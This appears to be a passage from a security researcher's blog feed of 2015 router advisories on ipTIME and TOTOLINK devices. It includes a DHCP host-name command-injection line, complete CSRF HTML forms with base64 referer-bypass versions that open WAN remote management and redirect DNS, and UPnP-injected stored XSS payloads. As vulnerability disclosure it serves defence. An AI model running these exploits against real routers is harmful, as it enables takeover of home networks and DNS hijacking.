[01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan  1 00:01:03 miniupnpd[370]: received signal 15, good-bye
Reaped 392
Reaped 318
Reaped 314
Reaped 290
Reaped 288
Reaped 268
Reaped 370
Reaped 367
- - - - ---&gt; PLANTYNET_SYNC_FREE_DEVICE
Restarting system.

Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Reboot Result from Watchdog Timeout!

- - - - ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz)
Delay 1 second till reset button
Magic Number: raw_nv 00000000
Check Firmware(05020000) : size: 0x001ddfc8 ----&gt;


[...]


An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.



## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found in new TOTOLINK devices), TOTOLINK was not contacted in regard of this case, but ipTIME was contacted in April 2015 concerning the first RCE.



## Report Timeline

* Jun 01, 2014: First RCE found by Pierre Kim and Alexandre Torres in ipTIME products.
* Jun 02, 2014: Second RCE found by Pierre Kim in ipTIME products.
* Jun 25, 2015: Similar vulnerabilities found in TOTOLINK products.
* Jul 13, 2015: TOTOLINK silently fixed the HTTP RCE in A2004NS and EX750 routers.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVq/MEAAoJEMQ+Dtp9ky28q5QP/iv9DnkWIYfVBsd9DCRjwkhp
bJDnignaI9xbQJxw40eCcDvaEhCVKrpwpbY0SA1e0uVwTAoZIZKOuI+VZR33dU9M
+YaaxrWz8mhGUis2WrtVufNKTjKKoIeefHn9n5fjg18BKVlTcVW4sMpJAUCbI/c7
7We3dAJgIuEVSScVHB9jsCRipZwsGzUfeLOqUboJHekmna4R2rxrVHs0noArMJdH
IucAskoOupBP7oiWH5ifsKQSBXxKVZZihukJbWhBDeO4R2jvwgVx5cgzsezRWz4U
EIO9skElbOKF8YWUzejMtVFP/lYVqfhixu3uoWmkVyVK4QwT8sM5mSk/xoBzc/9+
/SA1nSflRgfuD3RBHdmUGaM9dqyldlUggfHUvx6RMXsI/zI2LHk+0w6Bl/3vBuzG
MURIbiHm4T8SoKOC9nbPDSK9oaKoL/g0yYGkbtw87fuhYJP1Su2Xy+CG6LsBP2eM
LpxxgLGHl6HBX4pqrHaHBbureM+wrAFbHetp1SG0rjiUkXJLgwo9pbnx1a3oe7ik
gqQZRaveyQK+sOJdiCwgMTR4wsi3hoY+1UlntKil+XW0+Vf9arDwaTzrJs2zn1Us
qYspmrBsBibG4T4W/reCIGU3lTNyiOWi80qGgqzab0k2/MLU23YB6ktwz8AxzpTv
rXDUveDVcMt/YxA9/nKu
=XzCM
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>127 ipTIME router models vulnerable to an unauthenticated RCE by sending a crafted DHCP request</title>
        <link href="2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html"/>
        <content type="html"><pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


## Advisory Information

Title: 127 ipTIME router models vulnerable to an unauthenticated RCE by sending a crafted DHCP request
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x02.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html
Date published: 2015-07-06
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE



## Product Description

EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea
with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.
There are =~ 10 000 000 of ipTIME devices deployed in South Korea.



## Vulnerability Summary

This vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request.

This is a direct RCE against the routers which gives a complete root access to the embedded Linux from the LAN side.

It affects 127 ipTIME products from 2009-era firmwares to the current firwmare (9.66, built time 2015-06-11) with the default configuration:


- ipTIME a1004
- ipTIME a1004v
- ipTIME a104
- ipTIME a104ns
- ipTIME a104r
- ipTIME a2004
- ipTIME a2004ns
- ipTIME a2004r
- ipTIME a2008
- ipTIME a3004
- ipTIME a3004ns
- ipTIME a5004ns
- ipTIME a604
- ipTIME a604v
- ipTIME extac
- ipTIME extd2
- ipTIME g1
- ipTIME g104
- ipTIME g104a
- ipTIME g104be
- ipTIME g104i
- ipTIME g104m
- ipTIME g204
- ipTIME g501
- ipTIME g504
- ipTIME ipsmart
- ipTIME mini
- ipTIME mobap1
- ipTIME multi
- ipTIME n1
- ipTIME n104
- ipTIME n104a
- ipTIME n104ar1
- ipTIME n104i
- ipTIME n104k
- ipTIME n104ktt
- ipTIME n104m
- ipTIME n104p
- ipTIME n104q
- ipTIME n104r
- ipTIME n104r3
- ipTIME n104rsk
- ipTIME n104s
- ipTIME n104sr1
- ipTIME n104t
- ipTIME n104v
- ipTIME n104vlg
- ipTIME n1e
- ipTIME n1eky
- ipTIME n1p
- ipTIME n2
- ipTIME n2e
- ipTIME n2p
- ipTIME n3004
- ipTIME n5
- ipTIME n5004
- ipTIME n504
- ipTIME n5r1
- ipTIME n6004
- ipTIME n6004m
- ipTIME n6004r
- ipTIME n604
- ipTIME n604a
- ipTIME n604i
- ipTIME n604m
- ipTIME n604p
- ipTIME n604r
- ipTIME n604s
- ipTIME n604t
- ipTIME n604v
- ipTIME n604vlg
- ipTIME n608
- ipTIME n7004ns
- ipTIME n702bcm
- ipTIME n704
- ipTIME n704a
- ipTIME n704a3
- ipTIME n704bcm
- ipTIME n704lg
- ipTIME n704m
- ipTIME n704mlg
- ipTIME n704ns
- ipTIME n704s
- ipTIME n704v
- ipTIME n704v3
- ipTIME n8004
- ipTIME n8004r
- ipTIME n8004v
- ipTIME n804
- ipTIME n804a
- ipTIME n804a3
- ipTIME n804t
- ipTIME n804t3
- ipTIME n804v
- ipTIME n904
- ipTIME n904ns
- ipTIME n904v
- ipTIME ng104
- ipTIME ng304
- ipTIME ntq104
- ipTIME ntv108
- ipTIME ntv116
- ipTIME ntv124
- ipTIME q1
- ipTIME q304
- ipTIME q504
- ipTIME q604
- ipTIME t1004
- ipTIME t1008
- ipTIME t16000
- ipTIME t2008
- ipTIME t24000
- ipTIME t3004
- ipTIME t3008
- ipTIME timeve
- ipTIME tq204
- ipTIME tv104
- ipTIME v1016
- ipTIME v1024
- ipTIME v304
- ipTIME v308
- ipTIME v504
- ipTIME wre1
- ipTIME x3003
- ipTIME x3007
- ipTIME x5007
- ipTIME x6003


The probability that firmware 9.68 (last firmware for these specific models) running in the below products is vulnerable is VERY high:


- ipTIME q304
- ipTIME q1
- ipTIME q504
- ipTIME ew302
- ipTIME n702bcm
- ipTIME a3004ns
- ipTIME a5004ns


Concerning the high CVSS score (10/10) of the vulnerability, the number of affected devices and the longevity of this vulnerability (6+ year old),
the ipTIME users are urged to contact ipTIME.



## Details

This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in ipTIME devices allows remote attackers to execute arbitrary commands
via shell metacharacters in the host-name field.

Sending a DHCP request with this parameter will reboot the device:

cat /etc/dhcp/dhclient.conf

send host-name ";/sbin/reboot";

When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device;
the dhcp request will immediately force the reboot of the remote device:


Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

[...]
WiFi Simple Config v1.12 (2009.07.31-11:35+0000).

Launch iwcontrol: wlan0
Reaped 317
iwcontrol RUN OK
SIGNAL -&gt; Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -&gt; WAN ip changed
WAN0 IP: 192.168.2.1
signalling START
Invalid upnpd exit
killall: upnpd: no process killed
upnpd Restart 1
iptables: Bad rule (does a matching rule exist in that chain?)
Session Garbage Collecting:Maybe system time is updated.( 946684825 0 )
Update Session timestamp and try it after 5 seconds again.
ez_ipupdate callback --&gt; time_elapsed: 0
Run DDNS by IP change:  / 192.168.2.1
Reaped 352
iptables: Bad rule (does a matching rule exist in that chain?)
Jan  1 00:00:25 miniupnpd[370]: Reloading rules from lease file
Jan  1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist
Jan  1 00:00:25 miniupnpd[370]: HTTP listening on port 2048
Reaped 363
Led Silent Callback
Turn ON All LED
Dynamic Channel Search for wlan0 is OFF
start_signal =&gt; plantynet_sync
Do start_signal =&gt; plantynet_sync
SIGNAL -&gt; Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -&gt; WAN ip changed
Reaped 354
iptables: Bad rule (does a matching rule exist in that chain?)
ez_ipupdate callback --&gt; time_elapsed: 1
Run DDNS by IP change:  / 192.168.2.1
Burst DDNS Registration is denied: iptime -&gt; now:26
Led Silent Callback
Turn ON All LED
/proc/sys/net/ipv4/tcp_syn_retries: cannot create
- ---&gt; Plantynet Event : 00000003
- ---&gt; PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE


[sending the DHCP request]


[01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan  1 00:01:03 miniupnpd[370]: received signal 15, good-bye
Reaped 392
Reaped 318
Reaped 314
Reaped 290
Reaped 288
Reaped 268
Reaped 370
Reaped 367
- ---&gt; PLANTYNET_SYNC_FREE_DEVICE
Restarting system.

Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Reboot Result from Watchdog Timeout!

- ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz)
Delay 1 second till reset button
Magic Number: raw_nv 00000000
Check Firmware(05020000) : size: 0x001ddfc8 ----&gt;


[...]




An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.

- From my tests, it is possible to use this vulnerability to overwrite the firmware with a custom (backdoored) firmware.



## Vendor Response

- From my experience, contacting EFMNetworks ipTIME proved to be useless.
They don't publish security information in the changelog, they don't answer to security researchers and
they don't credit them either.
EFMNetworks ipTIME was not contacted in regard of this case.



## Report Timeline

* Jun 02, 2014: Vulnerability found by Pierre Kim.
* Apr 07, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerability confirmed on all the existing versions from 2009 to 2015 including the last firmware version (9.66).
* Jul 06, 2015: A public advisory is sent to security mailing lists.



## Credit

This vulnerability was found by Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-iptime-0x02.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/



-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVmcxDAAoJEMQ+Dtp9ky28/vgP/RexWVHpSEIxER8l/JbShcuC
mUKpgvxFzLNqFbqXRrf1obB7DhJ2H1q1e1Nq/w02QZDBnhN3A6e52cBFNw7SLQ9V
zuoNX3o/we9LkPN1rQsQniPiPp3GqtzgE8+mXzyWSgGBrk+9xa3Wymn3Z1VlZjUy
L+gmfYIgyv7RRnAOqZn8k2eJOFdrytp4I7RlGP9eBUas8M+Sd0Y9cFmF9OsaAJtC
SrerzyAt1onlNpeiMGWqI6hyqK/Fh2JSDzeYrYMZVjUgR/ffaLS+7WQSjByunCR5
XlpsgxGKqpqrpOd6IVdE9YMKS2/zi9oiEd3fRIxNHGZ+yjGHThK562lhLgm+aeMf
nRDMJaby4qvhztChktT8z0ie0C/3xW6I1K2VlEi+89Z5N6951TsZcFgUq65mLi7l
x0s3Q9BblZ21+W5nD3dJlK+F+NX6s0+MzAv44r4lAP4nuJ5k0zHw7LIHQ09boZX2
+4zJa1vZjFgsVCC0QgVdbpR3pPn9MSwsPiMOcqwZZALrJpQRljNm7+A/fKO9kDUx
z7MZVnoY2090EpspCrE3wA6AGYdrzVg3tc9U90hc+kdMRTR0cOpK5TDf9ArN6Bok
kTPhnpOftrEVYOA1JLeOvSPNFLYK193niQE46TrTlQMUVKsummhtTJY8oe+rtQMf
WHjFp48VR2JM+PMRW0BR
=c35o
-----END PGP SIGNATURE-----
</code></pre>
<p>More vulnerabilities regarding ipTIME products are likely to be released soon.</p></content>
    </entry>
    
    <entry>
        <title>ipTIME n104r3 vulnerable to CSRF and XSS attacks</title>
        <link href="2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html"/>
        <content type="html"><p>The ipTIME n104r3 is a wireless LAN router. Its current firmware (9.58) with default configuration is vulnerable to CSRF-attacks and stored XSS attacks.</p>
<p>Click the links below to access to the exploits:</p>
<ul>
<li><a href="http://pierrekim.github.io/advisories/">The exploits have been written in HTML/JavaScript allowing people to test their systems in live using their browsers</a></li>
<li><a href="http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-change_dns_csrf_bypass.html">CSRF-attack changing the DNS configuration to 0.2.0.7 and 1.2.0.1</a></li>
<li><a href="http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-activate_admin_wan_csrf_bypass.html">CSRF-attack activating the remote control management on port 31337/tcp listening on the WAN interface</a>.</li>
</ul>
<p>CSRF-attack activating the remote control management on port 31337/tcp:
<img alt="" src="images/2015-iptime-0x01-remote-management.png" /></p>
<p>Stored XSS:</p>
<p><img alt="" src="images/2015-iptime-0x01-stored-xss.png" /></p>
<p>Complete advisory:</p>
<pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512



## Advisory Information

Title: iptime n104r3 vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-03
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE



## Product Description

EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea with millions of devices deployed in the country.
EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.



## Vulnerability Summary

The ipTIME n104r3 is a wireless LAN router. Its current firmware (9.58) with default configuration is
vulnerable to CSRF-attacks and XSS attacks.
Since, its anti-CSRF protection is based on a static HTTP referrer (RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of the router. Owners are urged to
contact ipTIME, and activate authentication on this product (disabled by default).

Due to the fact the firmware seems to be used on several products, it is highly likely that other products
of ipTIME are vulnerable.
The probability that the N104T is also vulnerable is very high but I don't have possibility to test the
exploits against live ipTIME N104T routers.



## Details - CSRF

The HTTP interface allows to edit the configuration. This interface is vulnerable to CSRF.

Configuration and settings can be modified with CSRF attacks:
- Activate the remote control management
- Change the DNS configuration
- Update the firmware
- Change the Wifi Configuration
- Create TCP redirections to the LAN
- and more...


Example of forms exploiting the CSRF:


o Activating the remote control management on port 31337/tcp listening on the WAN interface.

&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
function s() {
document.f.submit();
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="s()"&gt;
&lt;form id="f" name="f" method="POST" action="http://192.168.0.1/do_cmd.htm"&gt;
&lt;input type="hidden" name="CMD" value="SYS"&gt;
&lt;input type="hidden" name="GO" value="firewallconf_accesslist.html"&gt;
&lt;input type="hidden" name="nowait" value="1"&gt;
&lt;input type="hidden" name="SET0" value="17367296=31337"&gt;
&lt;input type="hidden" name="SET1" value="17236224=1"&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;


o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:

&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
function s() {
document.f.submit();
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="s()"&gt;
&lt;form id="f" name="f" method="POST" action="http://192.168.0.1/do_cmd.htm"&gt;
&lt;input type="hidden" name="CMD" value="WAN"&gt;
&lt;input type="hidden" name="GO" value="netconf_wansetup.html"&gt;
&lt;input type="hidden" name="SET0" value="50397440=2"&gt;
&lt;input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA"&gt;
&lt;input type="hidden" name="SET2" value="235077888=1"&gt;
&lt;input type="hidden" name="SET3" value="235012865=0.2.0.7"&gt;
&lt;input type="hidden" name="SET4" value="235012866=1.2.0.1"&gt;
&lt;input type="hidden" name="SET5" value="51118336=0"&gt;
&lt;input type="hidden" name="SET6" value="51839232=1"&gt;
&lt;input type="hidden" name="SET7" value="51511552=1500"&gt;
&lt;input type="hidden" name="SET8" value="117834240="&gt;
&lt;input type="hidden" name="SET9" value="117703168="&gt;
&lt;input type="hidden" name="SET10" value="117637376=1492"&gt;
&lt;input type="hidden" name="SET11" value="51446016=1500"&gt;
&lt;input type="hidden" name="SET12" value="50463488=192.168.1.1"&gt;
&lt;input type="hidden" name="SET13" value="50529024=255.255.255.0"&gt;
&lt;input type="hidden" name="SET14" value="50594560=192.168.1.254"&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;


The variable GO is an open redirect. Any URL like http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.


To bypass the protection (which checks the refer), you can, for example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:



o activate_admin_wan_csrf_bypass.html:

&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjAuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iU1lTIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJmaXJld2FsbGNvbmZfYWNjZXNzbGlzdC5odG1sIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm93YWl0IiB2YWx1ZT0iMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDAiIHZhbHVlPSIxNzM2NzI5Nj0zMTMzNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSIxNzIzNjIyND0xIj4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4K"&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;


Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.

You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-change_dns_csrf_bypass.html



o change_dns_csrf_bypass.html:

&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjAuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg=="&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;


Visiting activate_admin_wan_csrf_bypass.html in a remote location will change the DNS servers
provided by the ipTIME device in the LAN.

You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-activate_admin_wan_csrf_bypass.html



## Details - stored XSS and fun

There is a stored XSS, which can be injected using UPNP from the LAN, without authentication:

upnp&gt; host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:  NewPortMappingDescription
Data Type:      string
Allowed Values: []
Set NewPortMappingDescription value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewLeaseDuration
Data Type:      ui4
Allowed Values: []
Set NewLeaseDuration value to: 0

Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewEnabled
Data Type:      boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: 80

Required argument:
Argument Name:  NewRemoteHost
Data Type:      string
Allowed Values: []
Set NewRemoteHost value to: &lt;script&gt;alert("XSS");&lt;/script&gt;

Required argument:
Argument Name:  NewProtocol
Data Type:      string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: 80


upnp&gt;


The UPNP webpage in the administration area (http://192.168.0.1/popup_upnp_portmap.html) will show:

[...]
&lt;tr&gt;
&lt;td class=item_td&gt;TCP&lt;/td&gt;
&lt;td class=item_td&gt;21331&lt;/td&gt;
&lt;td class=item_td&gt;&lt;script&gt;alert("XSS")&lt;script&gt;alert("XSS");&lt;/script&gt;:28777&lt;/td&gt;
&lt;td class=item_td&gt;&lt;script&gt;alert("XSS");&lt;/script&gt;&lt;/td&gt;
&lt;/tr&gt;
[...]


- From my research, there are some bits overflapping with others, resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process seems to be easily done.

Gaining Remote Code Execution by UPNP exploitation is left as a exercise for the reader.



## Vendor Response

- From my experience, contacting EFMNetworks ipTIME proved to be useless.
They don't publish security information in the changelog, they don't answer to security researchers and
they don't credit them either.
EFMNetworks ipTIME was not contacted in regard of this case.



## Report Timeline

* Apr 20, 2015: Vulnerabilities found by Pierre Kim.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jul 03, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## Greetings

Big thanks to Alexandre Torres.



## References

https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJVlbX6AAoJEMQ+Dtp9ky28I3AP/jAFTG1dEaWAFdqA1Vbagdyl
kIM22Gl+m4owJ5zYcJPahAsXAyHiigiA3bFFqC2TlRHZbIdFqsDXK2vM02uWi+KS
UiEl98VODDOjVqRj2x/f67qjU2vYWuS6TwT1OsjwMOnGOizHwqpqtQ1bLE6STKdY
9piABt9QZ4aw/CQk+32LEYO4jFHn75/9uncjP0tWblfE+7C7YrFF9F4Yg60m59R1
UuT0pvgLGHBpUw/VDCazGLJvd09jDQDlBQp7RraRrMPptmRvzhLVwQRaYwugWeqa
bGEIgclf5kbWO+LHRLvhkXtoDnw7TcEzR4+pXU3RUgA+Plz5z+9RR4chvAR116v/
0ZydSGdR1zaQWymU5KzZ2MadITw+T2iOjU2i8r7qluC1NX3YK7FVRz6TVlm5UVUj
Y5tg0PZ0vFsazPqa/TA26t+r9KrmjUJTuPPeecv5w3T6Y5Hl+MrMoaTl5MbXQD2b
bigs+7UsN7jPIY75PHfDrWyiDcqfx9Ra5vrRlt2SSg9oD3qXyX15OmsoDJYJ1xvG
cHrwXpOoiWC5rzQj6g6PNUqUbUyMdoXuoAbMyLXEQ6paKJ69pbVli4qIfakvZFNB
yoKdR13Q+j32YDbGuRcC3uOkkrt5/hW+yTrijs2WdfN5GviuGx4lob2FAQGcmGSo
UH4RwA7mV/6Pm3ZOYG0I
=9xXM
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models</title>
        <link href="2015-07-01-poc-with-RCE-against-127-iptime-router-models.html"/>
        <content type="html"><h2>Disclaimer</h2>
<pre><code>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
</code></pre>
<p>As stated in <a href="https://pierrekim.github.io/blog/2015-04-20-112-iptime-routers-wifiaps-modems-firewalls-models-vulnerable-with-RCE-with-root-privileges.html">the precedent advisories</a>, ipTIME firmwares prior to 9.58 version are vulnerable to a remote code execution which gives root privileges.</p>
<p>From product_db extracted from a live ipTIME system, it concerns at least these devices:</p>
